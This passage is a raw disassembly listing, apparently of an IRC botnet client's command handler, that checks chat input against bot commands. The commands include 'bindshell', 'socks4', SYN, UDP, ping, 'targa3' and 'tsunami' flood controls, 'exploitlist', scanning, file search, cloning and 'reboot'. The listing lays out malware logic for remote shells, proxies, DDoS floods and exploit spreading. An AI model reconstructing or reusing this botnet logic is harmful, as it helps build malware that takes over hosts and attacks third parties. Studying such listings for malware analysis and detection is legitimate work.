loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
